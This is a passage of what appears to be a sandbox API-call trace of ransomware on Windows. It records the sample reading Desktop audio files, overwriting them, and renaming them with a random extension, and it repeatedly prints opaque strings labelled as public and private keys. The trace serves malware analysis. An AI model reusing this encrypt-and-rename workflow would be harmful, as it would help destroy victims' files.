Dp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0126.612] GetCurrentThreadId () returned 0xa30 [0126.612] GetCurrentThreadId () returned 0xa30 [0126.612] GetCurrentThreadId () returned 0xa30 [0126.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.613] GetCurrentThreadId () returned 0xa30 [0126.613] GetCurrentThreadId () returned 0xa30 [0126.613] GetCurrentThreadId () returned 0xa30 [0126.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8-_As94muf_-U.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8-_as94muf_-u.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.613] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.613] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.613] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x15383 [0126.614] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.614] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x15383, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x15383, lpOverlapped=0x0) returned 1 [0126.617] CloseHandle (hObject=0x120) returned 1 [0126.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8-_As94muf_-U.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8-_as94muf_-u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.623] WriteFile (in: hFile=0x120, lpBuffer=0x1f0efa0*, nNumberOfBytesToWrite=0x15383, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0efa0*, lpNumberOfBytesWritten=0x18f978*=0x15383, lpOverlapped=0x0) returned 1 [0126.629] CloseHandle (hObject=0x120) returned 1 [0126.630] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8-_As94muf_-U.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8-_as94muf_-u.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8-_As94muf_-U.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8-_as94muf_-u.m4a.zv7un")) returned 1 [0126.632] GetCurrentThreadId () returned 0xa30 [0126.632] GetCurrentThreadId () returned 0xa30 [0126.633] GetCurrentThreadId () returned 0xa30 [0126.633] GetCurrentThreadId () returned 0xa30 [0126.633] GetCurrentThreadId () returned 0xa30 [0126.633] GetCurrentThreadId () returned 0xa30 [0126.633] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d95d420, ftCreationTime.dwHighDateTime=0x1d5dcfe, ftLastAccessTime.dwLowDateTime=0x5e32ba40, ftLastAccessTime.dwHighDateTime=0x1d5dc43, ftLastWriteTime.dwLowDateTime=0x5e32ba40, ftLastWriteTime.dwHighDateTime=0x1d5dc43, nFileSizeHigh=0x0, nFileSizeLow=0xf54e, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="86yCjlfQA.m4a", cAlternateFileName="86YCJL~1.M4A")) returned 1 [0126.633] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.633] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.633] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86yCjlfQA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86ycjlfqa.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d95d420, ftCreationTime.dwHighDateTime=0x1d5dcfe, ftLastAccessTime.dwLowDateTime=0x5e32ba40, ftLastAccessTime.dwHighDateTime=0x1d5dc43, ftLastWriteTime.dwLowDateTime=0x5e32ba40, ftLastWriteTime.dwHighDateTime=0x1d5dc43, nFileSizeHigh=0x0, nFileSizeLow=0xf54e)) returned 1 [0126.633] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86yCjlfQA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86ycjlfqa.m4a")) returned 0x20 [0126.633] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86yCjlfQA.m4a", dwFileAttributes=0x80) returned 1 [0126.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.638] GetCurrentThreadId () returned 0xa30 [0126.638] GetCurrentThreadId () returned 0xa30 [0126.638] GetCurrentThreadId () returned 0xa30 [0126.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2